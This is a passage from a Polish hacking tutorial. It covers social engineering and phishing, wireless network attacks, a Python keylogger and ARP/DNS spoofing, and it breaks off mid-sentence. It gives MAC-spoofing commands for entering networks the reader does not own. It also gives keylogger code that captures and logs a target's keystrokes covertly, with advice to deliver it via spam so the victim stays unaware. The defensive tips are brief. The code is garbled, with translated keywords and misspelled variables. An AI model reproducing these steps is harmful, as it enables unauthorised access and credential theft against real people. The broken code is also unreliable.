Istnieje kilka różnych strategii, które możesz wykorzystać jako hakera, aby odnieść sukces w inżynierii społecznej. Niektóre z najbardziej popularnych strategii obejmują:

<u>Zdobywanie zaufania</u>

Najłatwiejszą metodą jest zdobycie zaufania użytkownika przez hakera. Aby to zadziałało, musisz być dobry, ostry i wygadany w rozmowach. Są hakerzy, którzy nie odniosą sukcesu ponieważ działali nieco nerwowo lub byli trochę nieostrożni w sposobie mówienia. Oto niektóre sposoby unikania błędów podczas próby zdobycia zaufania:

● Mówili za dużo lub entuzjazm wydawał się zbyt duży w tej sytuacji.

● Denerwują się, gdy muszą odpowiedzieć na pytania.

● Zadaje pytania, które wydają się nieco dziwne.

● Pozornie się spieszy.

● Trzymanie w pamięci informacji, z których powinni korzystać wyłącznie osoby poufne

● Mówiąc o ludziach z wyższego kierownictwa firmy, ale tak naprawdę nie znają tych ludzi.

● Zachowując się tak, jakby mieli uprawnienia, których nie mają w firmie.

Jedną z metod, której można użyć w inżynierii społecznej, jest wyświadczyć komuś przysługę. To może budować zaufanie z drugą osobą i da ci przewagę. Możesz od razu poprosić o przysługę a druga osoba

jest bardziej skłonna pomóc ci się spłacić. Możesz też stworzyć problem dla tej drugiej osoby, a następnie być tym, który ocali ją przed tym problemem.

Wyłudzanie informacji

Inną opcją, której można użyć w inżynierii społecznej, jest wykorzystanie technologii w celu wykorzystania innych ludzi. Kiedy są online, często można zauważyć, że ludzie będą dość naiwni. Zrobią wiele rzeczy i zaufają wielu ludziom, których nigdy nie zrobiliby w normalnej sytuacji w prawdziwym życiu. W przypadku ataku phishingowego wyślesz wiadomość e-mail do użytkownika, ale będzie ona wyglądać, jakby pochodziła z zaufanego źródła. Chodzi tutaj o to, aby użytkownik udostępnił dane osobowe, prosząc go o przesłanie informacji lub zmuszając go do kliknięcia linków. Użytkownik pomyśli, że e-mail wygląda na prawdziwy, ale ponieważ sfałszowałeś adres IP, będzie on wyglądał naprawdę. Możesz to zrobić jako firma, krewny, przyjaciel lub każdy, kto chciałby uzyskać potrzebne informacje.

Spamowanie

Spamowanie to kolejna technika, której można użyć, która jest podobna. Dzięki temu wyślesz dużo e-maili, jak najwięcej, a następnie masz nadzieję, że użytkownik się zaciekawi i otworzy jeden lub więcej. Te e-maile będą zawierać darmowy prezent, na przykład kupon lub książkę, pod warunkiem, że użytkownik przekaże im jakieś dane osobowe. W niektórych przypadkach haker może udawać, że pochodzi od zweryfikowanego dostawcy oprogramowania. Następnie wyślą wiadomość e-mail z informacją, że użytkownik musi pobrać poprawkę oprogramowania, aby pomóc tej aplikacji lub oprogramowaniu pracować trochę później i pobrać tę łatkę za darmo. Sztuczka polega na tym, że haker dodał coś do łatki, na przykład backdoor lub koń trojański. Użytkownik może nic nie zauważyć ,że idzie źle, ale haker będzie mógł zrobić, co zechce w systemie po kliknięciu go. Oszustwa związane z wyłudzaniem informacji są naprawdę skuteczne, ponieważ śledzenie informacji z powrotem do hakera może być prawie niemożliwe. Są w stanie używać rzeczy takich jak serwery proxy i remailery, aby zachować anonimowość i trudno jest je znaleźć.

Unikanie ataku socjotechniki

Bardzo ważne jest, aby nauczyć się, jak uniknąć ataku inżynierii społecznej. Zapewni to, że nie ujawnisz swoich danych osobowych i że będziesz bezpieczny z wszystkimi linkami, które kliknąłeśj. Jeśli kierujesz działem IT w firmie, musisz upewnić się, że wszyscy w firmie rozumieją te zasady, aby nikt nie dopuścił do włamania się hakera. Niektóre z najlepszych sposobów uniknięcia ataku socjotechnicznego obejmują: :

● Nigdy nie podawaj swojego hasła. Powinieneś być jedyną osobą, która zna to hasło.

● Nigdy nie wysyłaj swoich danych osobowych za pośrednictwem wiadomości e-mail i mediów społecznościowych. Upewnij się, że jesteś pozytywnie nastawiony do osoby po drugiej stronie, zanim wykonasz połączenia w mediach społecznościowych.

● Nigdy nie pobieraj załącznika pochodzącego z niezidentyfikowanego adresu IP. Unikaj także klikania łączy w wiadomościach e-mail wyglądających jak spam.

● Unikaj złej tendencji do najechania kursorem na link w wiadomości e-mail.Hakerzy mogą dodawać do linku złośliwe oprogramowanie, dzięki czemu po najechaniu myszą atak z dobrym anty-malware jest jednym z najlepszych sposobów na unikaj tego.

Jako haker przekonasz się, że inżynieria społeczna jest czasami trudna do osiągnięcia. Wiele osób czuwa nad ochroną swoich komputerów i nawet nie patrzy na te e-maile ze spamem. Ale wciąż są ludzie, którzy są naiwni i będą się rozglądać, co może powodować pewne problemy. Większość hakerów będzie musiała pracować nad dotarciem do więcej niż jednej osoby, aby zwiększyć swoje szanse.

Część VI : Jak wykonać atak sieci bezprzewodowej

Kolejną rzeczą, nad którą będziemy pracować, jest włamanie się do sieci bezprzewodowej. Może to zapewnić hakerowi łatwy dostęp do sieci, ponieważ mogą po prostu ominąć sieć bezprzewodową. Sieci bezprzewodowe są dziś dość powszechne, ale ułatwia to hakerowi dostęp do nich. W razie potrzeby mogą zmieniać niektóre częstotliwości radiowe i uzyskiwać potrzebne informacje. Skoncentrujemy się na tym, jak przeprowadzić atak bezprzewodowy, abyś mógł dostać się do sieci, nawet jeśli nie jest ona twoja.

<u>Ataki WLAN</u>

Istnieje kilka sposobów na przeprowadzenie ataku bezprzewodowego. Niektóre z najczęstszych metod obejmują:

● Niezamierzone skojarzenie: zdarzają się sytuacje, gdy dwie sieci bezprzewodowe będą się na siebie nakładać. Może to pozwolić użytkownikowi na przejście z jednej sieci do drugiej. Jeśli haker dowie się, że tak się dzieje, może z niego skorzystać, aby uzyskać informacje na temat sieci, często informacje, do których nie mają dostępu.

● Sieci niekonwencjonalne; często są to sieci, które nie mają odpowiedniego bezpieczeństwa, takie jak te na laptopach lub te, które można znaleźć w punktach dostępu. Są to łatwe cele dla hakerów, ponieważ są łatwiejsze do pracy. Niektóre urządzenia, które są do zgarnięcia ,obejmują podręczne urządzenia PDA, urządzenia Bluetooth, czytniki kodów kreskowych i drukarki bezprzewodowe

● Ataki typu „odmowa usługi": atak ten obejmuje hakera wysyłającego tysiące żądań, poleceń i wiadomości do jednego punktu dostępu. Może to spowodować przeciążenie sieci i wymusić awarię tej sieci. Użytkownik nie będzie mógł uzyskać dostępu do sieci, ale haker może uzyskać potrzebne informacje.

● Ataki man-in-the-middle: istnieje tak wiele wspaniałych rzeczy, które haker jest w stanie zrobić, gdy wybierze man-in-the-middle. Wtedy haker zwiększy siłę sygnału, aby komputer docelowy zezwolił mu na dostęp, lub znajdzie inny sposób dostępu do sieci, w której nie powinien być włączony, ale system uzna, że mogą tam być . Haker często zaczyna od rozejrzenia się i zobaczenia, co dzieje się w systemie, ale można go również użyć do wykonania aktywnego ataku.

● Fałszowanie adresów MAC: jest to jak kradzież tożsamości komputera, który ma uprawnienia sieciowe. Haker spróbuje ukraść Media Access Control lub MAC autoryzowanego komputera za pomocą oprogramowania, które może znaleźć te informacje. Kiedy haker ma prawo do informacji, może użyć innych opcji, aby pomóc im w korzystaniu z tego adresu MAC i uzyskaniu dostępu do systemu.

<u>Weryfikacja sieci bezprzewodowej</u>

Większość sieci bezprzewodowych, w których będziesz korzystać, będzie zabezpieczona hasłem, aby mieć pewną kontrolę nad tym, jak użytkownicy mogą uzyskać dostęp do tej konkretnej sieci. Istnieją dwie powszechnie akceptowane metody ochrony sieci bezprzewodowych, w tym WEP lub Wired Equivalent Privacy oraz WAP lub Wi-Fi Protected Access. Przyjrzyjmy się, jak działa każdy z nich.

WEP

WEP zapewni ci trochę prywatności, jeśli chodzi o pracę w sieci przewodowej. Odpowiada również za szyfrowanie wszystkich danych wysłanych przez sieć. Istnieje kilka dużych luk w zabezpieczeniach związanych z tą opcją, dlatego wielu hakerów udało się przez nią przejść i większość ludzi przeszła na WPA. Pękanie tych sieci można wykonać poprzez atak pasywny lub atak aktywny. Aktywny atak będzie najskuteczniejszy, ponieważ może przeciążać sieć i jest łatwiejszy do wykrycia. Atak pasywny pozwoli hakerowi wejść do sieci, a następnie sprawdzi ruch, zanim zrobi cokolwiek innego.

WAP

Większość sieci bezprzewodowych będzie teraz korzystać z WAP, ponieważ korzystanie z nich jest bezpieczniejsze. Ten rodzaj uwierzytelnienia został zaprojektowany w celu uniknięcia niektórych słabych stron, które można znaleźć w WEP. Będzie to zależeć od szyfrowania pakietów i haseł kluczem czasowym. Nadal istnieje słabość związana z opcją WAP, mimo że jest bezpieczniejsza. Na przykład, jeśli nie użyjesz ładnego silnego hasła, możesz być podatny na atak słownikowy. Cain i Abel są jednym z najlepszych narzędzi do łamania zabezpieczeń, które pozwalają uzyskać dostęp do sieci WAP.

Wykonaj atak fałszowania adresów MAC

Jeśli chcesz zapobiec atakowi fałszowania adresów MAC, powinieneś rozważyć użycie filtrowania adresów MAC. Ten filtr jest w stanie upewnić się, że adresy MAC, które nie są autoryzowane do łączenia się z siecią bezprzewodową, nawet jeśli zdarzy się, że mają odpowiednie hasło, nie dostaną się do systemu. Jeśli jednak haker jest naprawdę zdeterminowany, nie jest to najskuteczniejszy sposób na powstrzymanie go, ale może go spowolnić.

● Poświęcimy trochę czasu, aby dowiedzieć się, jak zrobić fałszowanie adresu MAC jednego z użytkowników, którzy mogą przebywać w sieci. Aby to zrobić, musisz upewnić się, że karta Wi-Fi zostanie przełączona w tryb monitorowania. Użyte narzędzia obejmują Mac changer i Airodump-ng. Kroki, które możesz zrobić, aby tak się stało, to:

● Upewnij się, że adapter jest w trybie monitorowania. Gdy adapter będzie gotowy, wpisz następujące polecenie „Airodump-ng-c [kanał] -bssid [adres MAC routera docelowego] -I wlan0mon”

● Ten kod pomoże ci zobaczyć sieć bezprzewodową w sieci. Wszyscy użytkownicy, którzy będą mogli uzyskać dostęp do sieci, pojawią się na ekranie i będą tam również odpowiadające im adresy MAC.

● Możesz teraz wybrać jeden z tych adresów do użycia na komputerze. Musisz wprowadzić pewne zmiany w komputerze, głównie musisz wyłączyć interfejs monitorowania. Aby to zrobić, wpisz polecenie „Airmon-ng stop wlan0mon”

● Następnie należy wyłączyć interfejs bezprzewodowy wybranego adresu. Aby to zrobić, musisz wpisać polecenie „Ifconfig wlano down”

● Teraz musisz uruchomić oprogramowanie zmieniające Mac. Aby to zrobić, musisz wpisać „Macchanger –m [Nowy adres MAC] wlan0”

● W tym miejscu należy włączyć interfejs bezprzewodowy dla adresu MAC, który wcześniej wybrałeś. Następnie możesz wpisać polecenie „Ifcofig wlano up”

Teraz wszyscy skończyliście wykonywać swoją pracę. Możesz zmienić swój adres MAC, aby był on taki sam jak jeden z autoryzowanych użytkowników. Jeśli zrobiłeś to poprawnie, będziesz mógł zalogować się do tej konkretnej sieci bezprzewodowej i połączyć się z nią. Jeśli udało Ci się uzyskać dostęp do sieci bezprzewodowej, wszystkie kroki zostały wykonane prawidłowo.

Zabezpieczanie sieci bezprzewodowej

Chociaż powyższy proces wydawał się dość łatwy do wykonania, istnieje kilka rzeczy, które możesz zrobić, aby upewnić się, że haker nie będzie w stanie dostać się do twojej sieci. Pomoże Ci to zachować wszystkie informacje w bezpiecznym miejscu. Niektóre z rzeczy, które możesz zrobić, aby zapewnić bezpieczeństwo swojej sieci bezprzewodowej, obejmują:

● Upewnij się, że masz odpowiednie oprogramowanie antyszpiegowskie, antywirusowe i zapory ogniowe dla firmy. Należy go również regularnie aktualizować i sprawdzać, czy zapora jest włączona.

● Wszystkie porty muszą być zaszyfrowane. Oznacza to, że punkty dostępu, routery i stacje bazowe muszą zostać zaszyfrowane w komunikacji sieciowej. Są one dostarczane z przełącznikami szyfrowania, ale często zdarza się, że zostały one wyłączone, więc po prostu włącz je ponownie.

● Upewnij się, że przejdziesz i zmienisz hasło routera bezprzewodowego. Chcesz, aby było długie i skomplikowane, aby hakerowi trudniej było się wydostać.

● Ilekroć nie korzystasz z sieci, wyłącz ją. Jeśli sieć jest wyłączona, hakerowi trudniej się do niej dostać.

● Wyłącz nadawcę routera. Zasadniczo w ten sposób urządzenie będzie transmitować swoją obecność. Prawdziwi użytkownicy już wiedzą, że ten router jest tam, więc nie jest tak naprawdę konieczny, aby mógł nadawać w ogóle. To po prostu ułatwia hakerowi wejście do twojego systemu.

Dostęp do sieci bezprzewodowej może być świetny dla hakera. Pozwala im pracować naman-in-the-middle , co oznacza, że mogą być po prostu pasywni i otrzymywać informacje lub mogą być aktywni i powodować duże szkody w systemie. Nauczenie się, jak chronić swoją sieć, ma kluczowe znaczenie dla powstrzymania hakerów.

Część VII : Używanie Keyloggera do uzyskiwania informacji

Innym rodzajem ataku, który może być użyteczny dla hakerów, jest dodanie keyloggera do komputera docelowego. To pozwala im zobaczyć, jakie informacje są wpisywane do systemu, a czasami, gdy dodają narzędzie do zrzutów ekranu, mogą nawet zobaczyć, jakiego rodzaju stron internetowych używa cel i informacje, które wpisują w tym samym czasie. Użyjemy języka Python, aby uchwycić wszystkie naciśnięcia klawiszy, które cel umieszcza w komputerze, aby uzyskać nazwę użytkownika i hasła do późniejszego użycia. Więc zacznijmy!

Rejestrowanie naciśnięć klawiszy

Pierwszą rzeczą, którą musimy zrobić, to dowiedzieć się, jak stworzyć program, który jest potrzebny do keyloggowania. Może się okazać, że jednym z najłatwiejszych sposobów uzyskania informacji od użytkownika jest podanie nazwy użytkownika i hasła, ale jak zdobyć ich hasło? Można przejść przez niektóre techniki, o których mówiliśmy wcześniej, takie jak zgadywanie i pisanie słów ze słownika, ale może to zająć bardzo dużo czasu. A ponieważ niektórzy ludzie aktualizują swoje hasła i sprawiają, że są nieco trudniejsi i bardziej skomplikowani, haker może spędzić godziny próbując je rozgryźć. Jak możesz sobie wyobrazić, żaden haker tak naprawdę nie chce tracić czasu na odgadywanie hasła, ponieważ jest to taka strata. A jeśli użytkownik zmieni hasło w dowolnym momencie, właśnie zmarnował cały ten cenny czas. Właśnie dlatego hakerzy wymyślili bardziej zaawansowany sposób na znalezienie hasła, oszczędzając im czas i wysyłając do nich informacje, zamiast martwić się o atak brute-force. Keylogger jest skuteczny, ponieważ sprawdza wszystkie pociągnięcia, które użytkownik naciska na klawiaturę, a następnie wysyła do hakera. Jeśli haker zrobi to dobrze, będzie w stanie uzyskać wszystkie informacje i więcej. Istnieje kilka sposobów na załadowanie keyloggera do komputera celu. Najłatwiejszą metodą jest wysłanie wiadomości e-mail zawierającej spam i skłonienie użytkownika do jej pobrania, często

bez wiedzy użytkownika. Chcesz mieć pewność, że użytkownik nigdy nie dowie się, że keylogger już tam jest, albo będziesz miał kłopoty. Teraz przyjrzymy się różnym etapom pracy nad keyloggerem. Pierwsza część po prostu powie komputerowi, że musi wysłuchać naciśnięć klawiszy osoby, na którą celujesz. Kod, który to umożliwi, obejmuje:

```
import pyHook

import pythoncom

def keypress (zdarzenie):

jeśli nawet. Ascii:

char = chr (event.Ascii)

drukuj char

if char = = „~”:

wyjście()

hm = pyHook.HookManager ()

hm.KeyDown = naciśnięcie klawisza

hm.HookKeyboard ()

pythoncom.PumpMessages ()
```

Ten jest pomocny, ponieważ pomaga pobrać dwie biblioteki potrzebne do wykonania całego keyloggera. Pierwsza z tych bibliotek jest znana jako pyHook, która jest odpowiedzialna za nasłuchiwanie wszelkiej aktywności niskiego poziomu na komputerze, takiej jak naciśnięcia klawiszy i ruch myszy. Może być konieczne pobranie tego na komputer, jeśli jeszcze go tam nie masz. Druga biblioteka, której będziemy używać, nosi nazwę pythoncom. Ten jest głównym zestawem narzędzi, z którego możesz korzystać w firmie Microsoft i zapewni, że wszystkie różne procesy, z którymi pracujesz, będą mogły się ze sobą komunikować. Na przykład biblioteka Pythoncom pomoże upewnić się, że otrzymujesz powiadomienia o nowych naciśnięciach klawiszy, których używasz. Po przejściu początkowego importu nadszedł czas na zdefiniowanie funkcji. W tym przypadku będzie to naciśnięcie klawisza, który będzie częścią odbierającą obiekt zdarzenia. Twoja funkcja zinterpretuje następnie obiekt zdarzenia, a następnie ten obiekt zareaguje w jakiś sposób, w oparciu o treść tego zdarzenia. Jest to ważne miejsce, ponieważ jest to miejsce, w którym możesz wprowadzić kilka ulepszeń w miarę rozszerzania skryptu. W formularzu, którego używaliśmy wcześniej, kod jest skonfigurowany do wyświetlania jeśli dane wejściowe użytkownika były znakami ASCII. Jeśli okaże się to prawdą, wtedy wydrukowane zostanie „standardowe wyjście”. Następnie możesz sprawdzić, czy wprowadzanym znakiem jest „~”. Jeśli jest to drugi skrypt, skrypt się zakończy. Ta druga opcja wyjścia jest ważna i przyda się, gdy będziesz musiał przetestować swój skrypt, ale musisz uważać na kilka rzeczy, ponieważ ważne jest, aby cel nigdy nie miał do tego dostępu. Upewnij się, że Twój komentarz będzie zawierał „instrukcję if” przed wysłaniem keyloggera, w przeciwnym razie mogą wystąpić problemy.

Zanim przejdziemy dalej, spójrzmy na kilka ostatnich wierszy kodu. Są to ważne, ponieważ utworzysz instancję obiektu HookManager. W tym kodzie będzie to główny koń roboczy dla twoich bibliotek. Ten konkretny kod poinformuje HookManagera, że będzie musiał nasłuchiwać i reagować na naciśnięcia klawiszy w systemie, po prostu wysyłając je do funkcji naciśnięcia klawisza. Następnie przechodzi do wywołania metody Hook Keyboard, aby zaczął nasłuchiwać sygnałów wejściowych na klawiaturze. A

potem koniec tego kodu upewni się, że dane wejściowe są przekazywane do HookManager. Teraz zajmiemy trochę czasu, aby odpalić kod z góry. Po załadowaniu na komputer nadszedł czas na przetestowanie. W tym celu wystarczy nacisnąć klawisz i powinieneś zobaczyć, że w każdym wierszu pojawi się nowy symbol. Ale gdy naciśniesz symbol „~", kod wyjdzie i zatrzyma nagrywanie. Jeśli pojawiają się naciśnięcia klawiszy, kod działa dobrze, ale nie trzeba długo czekać, aby zobaczyć, że istnieje kilka problemów ze sposobem otrzymywania danych wyjściowych, więc musimy kontynuować. W tej chwili największym problemem z tym kodem jest to, że drukuje się on bezpośrednio na ekranie. Oznacza to, że użytkownik będzie mógł zobaczyć, że naciśnięcia klawiszy są obserwowane, i pójdzie znaleźć kogoś, kto może zdjąć keylogger, zamiast pisać dalej. Jeśli te symbole wciąż pojawiają się na ich komputerach, musisz wprowadzić pewne zmiany, jeśli nadal chcesz uzyskać informacje. Kolejną kwestią, nad którą będziemy pracować nad naprawą, jest umieszczenie znacznika czasu na informacji. W tej chwili widać, że symbole są wpisywane, ale nie znając czasu, trudno jest ustalić, które symbole pasują do siebie, a które są daleko od siebie. Jesteśmy w stanie przejść przez proces dodawania znacznika czasu, aby łatwiej było zobaczyć niektóre z pojawiających się wzorców. Naprawdę łatwo jest rozwiązać oba te problemy, dzięki czemu można uzyskać potrzebne informacje, nie martwiąc się, że użytkownik docelowy zobaczy, co robisz. Kod, którego możesz użyć, aby tak się stało, obejmuje:

```
from datetime import *

import os

root_dir = os.path.split(os.path.realpath(_file_))[0]

log_file = os.path.join(root_dir, "log_file.txt")

def log(message):

if len(message) > 0:

with open(log_file, "a") as f:

f.write("{}:\t{}\n" .format(datetime.now(), message))

# print "{}:\t{}" .format(datetime.not(), message)
```

Ten punkt w kodzie tworzy keylogger, a nie kod służący tylko do oglądania klawiszy. Pierwszą rzeczą, którą zrobiliśmy, było dodanie do biblioteki datetime, aby mogła blokować ważne instrukcje. Zasadniczo sprawia to, że o wiele łatwiej jest zobaczyć, kiedy rzeczy zostały wpisane do programu i zobaczyć wzorce. Następnie przeszliśmy do zdefiniowania nazwy pliku, w którym przechowywane są gromadzone dane. A potem trzecią rzeczą, którą zrobiliśmy, było utworzenie funkcji dziennika, która pobierze wartości ciągu, aby plik został zalogowany. Podczas testowania tego skryptu, jeśli chcesz zobaczyć, co użytkownik pisze w czasie wyświetlona na standardowe wyjście podczas działania skryptu. W tym momencie wyróżnia się jeszcze kilka problemów. Najbardziej zauważalne jest to, że wszystkie słowa wychodzą po jednej literze w wierszu, co bardzo utrudnia ich czytanie. Jesteśmy w stanie przejść i zrobić to, abyś miał kawałki tekstu, które połączyłyby się razem ze znacznikiem czasu, abyś mógł zobaczyć całe słowa, a nie tylko litery.

```
buffer = ""

def keypress(event)

global bugger

if event.Ascii
```

```
char = chr(event.Ascii)
if char = = “~”:
log(bugger)
log(“---PROGRAM ENDED---“)
exit()
if event.Ascii ==13:
buffer += “<ENTER>\n”
log(buffer)
bugger = “”
elif event.Ascii==8:
buffer += “<BACKSPACE>”
elif event.Ascii==9:
buffer += “<TAB>”
else:
buffer += char
pause_period = 2
las_press = datetime.now()
pause_delta = timedelta(seconds=pause_period)
def keypress(event):
global butter, last_press
if event.Ascii:
char = chr(event.Ascii)
if char == “~”:
log(buffer)
log(“---PROGRAM ENDED---“)
exit()
pause = datetime.now()-last_press
if pause >= pause_delta:
log(buffer)
buffer = “”
if event.Ascii ==13:
```

buffer += “<ENTER>”

elif event.Ascii==8:

buffer += “<BACKSPACE>”

elif event.Ascii==9:

buffer += “<TAB>”

else:

buffer += char

last_press = datetime.now()

Ten kod jest również dodawany do kropek, znaków specjalnych i wszystkiego innego, co użytkownik docelowy może próbować umieścić na komputerze. Gdy docelowy użytkownik otworzy keylogger i zacznie pisać, będziesz mógł zobaczyć, co się dzieje z jego własnym pisaniem i często zaczniesz zauważać pewne wzorce. Chociaż nie będziemy go tutaj omawiać, kolejną rzeczą, którą możesz dodać za pomocą keyloggera, aby był bardziej wydajny i łatwiejszy w użyciu, jest narzędzie do zrzutów ekranu To narzędzie jest w stanie robić zrzuty ekranu z witryn internetowych i innych rzeczy, które użytkownik używa i wysyła je z powrotem do hakera. Może to być miłe, ponieważ haker będzie mógł obejrzeć zrzut ekranu, sprawdzić, czy użytkownik poszedł na stronę banku lub inną osobistą stronę internetową, a następnie będzie mógł porównać znaczniki czasu z keyloggerem, aby zobaczyć, jakie nazwy użytkowników i hasła zostały użyte . Keylogger, jeśli jest właściwie wykonany, może być świetnym narzędziem dla hakera. Pozwala im to na dostęp do wielu informacji, których inaczej trudno byłoby uzyskać. Użyj powyższego kodu i być może niektórych technik spamowania, aby skłonić użytkownika do jego otwarcia, a zobaczysz wszystkie pociągnięcia, których używają na klawiaturze.

Część VIII: Atak Man in the Middle

Fałszywe ataki typu man in the middle to kolejna opcja, którą haker może wykorzystać przeciwko tobie. Sfałszowanie to świetna technika, z której korzysta wielu hakerów, ponieważ pozwala im udawać inną osobę, organizację, oprogramowanie lub witrynę. Chodzi o to, że haker wybiera program lub osobę, która ma dostęp do systemu, a następnie udaje, że jest tą osobą w celu uzyskania dostępu. Jeśli haker odniesie sukces, system zobaczy, że haker tam jest, ale uwierzy, że haker jest upoważniony do bycia w systemie. Dzięki temu haker może uzyskać dostęp do jakichkolwiek informacji, których chcą w sieci, ale ich nie znaleziono. Istnieje kilka różnych rodzajów ataków fałszowania, których może użyć haker. Pierwszy rodzaj to fałszowanie adresów IP. Ta technika jest dobra, ponieważ pozwala hakerowi wziąć adres IP, a następnie go maskować. W niektórych przypadkach są nawet w stanie to ukryć, aby sieć została oszukana, myśląc, że ten haker jest użytkownikiem, który powinien być w systemie. Tak naprawdę nie ma znaczenia, gdzie znajduje się haker, czy to tuż obok, czy na świecie, są w stanie użyć tego rodzaju fałszowania, aby dostać się do żądanego systemu. Gdy haker jest w stanie dostać się do sieci, może prawie przejąć kontrolę, zmienić pliki, jeśli chcą, i zadzierać bez rozpoznawania ich przez system. Tego typu technika jest dobra do użycia, ponieważ haker użyje adresu IP, któremu sieć faktycznie ufa, zamiast go wymyślić. Haker będzie musiał przez chwilę rozejrzeć się za tym zaufanym adresem IP, ale gdy go znajdzie, wykorzysta te informacje, aby wprowadzić zmiany w swoim systemie, umożliwiając mu pełny dostęp. Podszywanie się przez DNS to kolejna opcja, z której haker może korzystać. Ta metoda polega na tym, że docelowy użytkownik przechodzi do strony internetowej, która jest zwykle uzasadniona (lub przynajmniej taka, która wygląda na uzasadnioną). Ale haker zaczął pracować na tej stronie. Poszli i wzięli adres IP i powiązali go ze złośliwą witryną. Gdy użytkownik kliknie

tę witrynę, zostaną przekierowani, często bez zauważenia. Dzięki temu włamywacz haker czasami przejmie dobrą stronę internetową, a następnie przejmie ją, innym razem po prostu zmieni kilka liter, skutecznie zmieniając stronę internetową, ale wyglądają tak podobnie, że użytkownik może mieć problem z rozpoznaniem i zauważeniem różnicy. Użytkownik może nie zwracać uwagi lub mógł wpisać zły adres, a następnie zostanie wysłany na zainfekowaną stronę internetową. Dzięki temu haker może wysyłać wirusy, uzyskiwać dane osobowe i nie tylko. Rzecz w tych atakach DNS polega na tym, że użytkownik nie zdaje sobie sprawy, że w większości przypadków został przekierowany do złej witryny. Będą wierzyć, że strona internetowa jest tam, gdzie chcą być i często umieszczą w niektórych danych osobowych i prywatnych, wyślą płatność i więcej. Ale wszystkie te informacje trafią prosto do hakera. Jeśli haker chce mieć możliwość takiego hakowania, musi upewnić się, że ich własna sieć LAN i sieć LAN celu są takie same. Haker będzie musiał przeprowadzić wyszukiwanie, aby znaleźć słabe hasło w sieci, a następnie przejąć je. Gdy haker będzie w stanie to zrobić, łatwo przekieruje użytkowników na zainfekowaną stronę internetową, a jednocześnie będzie w stanie monitorować działania wykonywane na tej stronie. Następny na liście jest fałszowanie wiadomości e-mail. Jest to przydatna opcja, jeśli haker chce przejść przez zabezpieczenia znajdujące się w wiadomości e-mail. Serwery e-mail są dość dobre w ustalaniu, kiedy coś jest spamem, a coś jest legalne, ale to tylko maszyna i można popełnić błędy. Jeśli coś wygląda jak spam lub system uważa, że będzie to szkodliwe dla twojego komputera, nie znajdziesz go w skrzynce odbiorczej i chyba że go poszukasz, nie zobaczysz go. Dzięki fałszowaniu wiadomości e-mail haker może ominąć to bezpieczeństwo i nadal wysyłać spam lub inne szkodliwe linki. Są one często klikane przez użytkownika, ponieważ zakładają, że wiadomość e-mail i łącza znajdują się w środku. Dlatego zawsze powinieneś być ostrożny z otrzymywanymi wiadomościami e-mail i linkami, nawet jeśli trafią one do Twojej skrzynki odbiorczej. Podszywanie się pod numery telefonów to kolejna technika, z której haker może korzystać. Ta metoda wymaga od hakera użycia fałszywego numeru kierunkowego lub nawet zmiany całego numeru telefonu, aby mógł maskować informacje o sobie. Chociaż ta technika fałszowania jest złożona, jest to sposób, w jaki haker może wysyłać wiadomości tekstowe ze sfałszowanym numerem, dostać się do wiadomości na poczcie głosowej, a nawet wprowadzić w błąd cel z jakiegoś powodu, z którego pochodzi połączenie telefoniczne. Na przykład niektórzy hakerzy wykorzystają podszywanie się pod numery telefonów, aby ich numer wyglądał jak numer biura rządowego, co może zwiększyć prawdopodobieństwo, że cel przekaże część swoich danych osobowych. Z tego typu atakami może być wiele problemów. Wynika to z faktu, że administratorom sieci trudno jest dostrzec ataki. Pozwala to hakerowi pozostać w tej sieci tak długo, jak chcą, powodując wiele szkód w tym procesie. Haker może łatwo dostać się do sieci ze względu na różne protokoły bezpieczeństwa i istnieje możliwość interakcji hakera z każdym użytkownikiem w sieci, często bez wykrycia. Nie zauważając się, haker jest w stanie robić, co chce w sieci.

Ataki man-in-the-middle

Jedną z najpopularniejszych form ataków podszywających się jest atak man-in-the-middle. Istnieją dwa sposoby korzystania z tego. Niektórzy hakerzy wykorzystają go jako atak pasywny, co oznacza, że po prostu wejdą do sieci i rozejrzą się, sniffując system i patrząc na informacje, ale nie powodując żadnych problemów. Haker ma również możliwość wykonania aktywnego ataku. To wtedy zaczynają powodować szkody i ludzie w końcu zdają sobie sprawę, że są w sieci. Atak man-in-the-middle aku zostanie wykonany, gdy haker przeprowadzi tak zwane fałszowanie ARP. Haker może to wykorzystać do wysyłania fałszywych wiadomości ARP przez sieć docelową. Gdy się powiedzie, te fałszywe wiadomości pomogą hakerowi połączyć się z innym użytkownikiem za pomocą adresu IP. Użytkownik będzie musiał pochodzić od osoby, która ma już dostęp do systemu lub nie będzie działać. Gdy haker będzie mógł połączyć się z adresem IP, zacznie odbierać dane, które ten konkretny użytkownik wysyła za pośrednictwem adresu IP. Dla uproszczenia haker przejmie prawidłowy adres IP (lub taki, który jest

już dozwolony w sieci), a następnie utworzy własny. Haker będzie wtedy mógł otrzymywać komunikację, pliki i wszelkie inne informacje, które powinien uzyskać pierwotny użytkownik. Mogą wybrać sposób wykorzystania tych informacji. Mogliby tylko rzucić na to okiem i poczekać, albo mogą zmienić informacje przed wysłaniem. Istnieje kilka różnych ataków, które haker może wykonać po podłączeniu do adresu IP. Należą do nich: Przejęcie sesji: ten rodzaj ataku nastąpi, gdy haker będzie mógł użyć fałszywego ARP do kradzieży identyfikatora użytkownika dla tej sesji. Pozwala to hakerowi uzyskać informacje, które przechodzą, i w pewnym momencie mogą wykorzystać te informacje, aby uzyskać dostęp do tego konta.

Atak typu „odmowa usługi": w wyniku tego ataku fałszowanie ARP połączy kilka adresów IP z powrotem z celem. Dane, które często trafiają na inne adresy IP, zostaną następnie przesłane do jednego urządzenia, a nie do oddzielnych, które mają. To przeciąża system i może wyłączyć wszystkich. Atak man-in-the-middle: ten atak pozwoli hakerowi wejść do sieci, ale pozostać ukrytym. Ponieważ nikt inny nie widzi, że haker tam jest, może przechwytywać wiadomości, zmieniać informacje i jeszcze więcej. Teraz, gdy masz już pojęcie o tym, jak działają ataki typu man-in-the-middle, ważne jest, aby dowiedzieć się, jak je wykonać. Tutaj użyjemy narzędzia znanego jako Backtrack, aby stworzyć własnego człowieka w środkowym ataku. Najpierw musisz dowiedzieć się, jakie dane chcesz gromadzić, zanim zaczniesz. Możesz skorzystać z narzędzia znanego jako Wireshark, aby ci pomóc. Narzędzia te pomagają zobaczyć, przez co przechodzi ruch, i jest to dobry punkt wyjścia, jeśli nie masz co do tego pewności. Teraz powinieneś przejść do karty sieci bezprzewodowej i upewnić się, że został przełączony do trybu monitorowania. To dobry pomysł, ponieważ pozwala uzyskać dobry obraz ruchu przychodzącego i wychodzącego z twojego połączenia. Będziesz nawet widzieć ruch, który nie powinien być w sieci. Możesz skorzystać z tej opcji, jeśli jesteś w sieci koncentrowanej, ponieważ ich 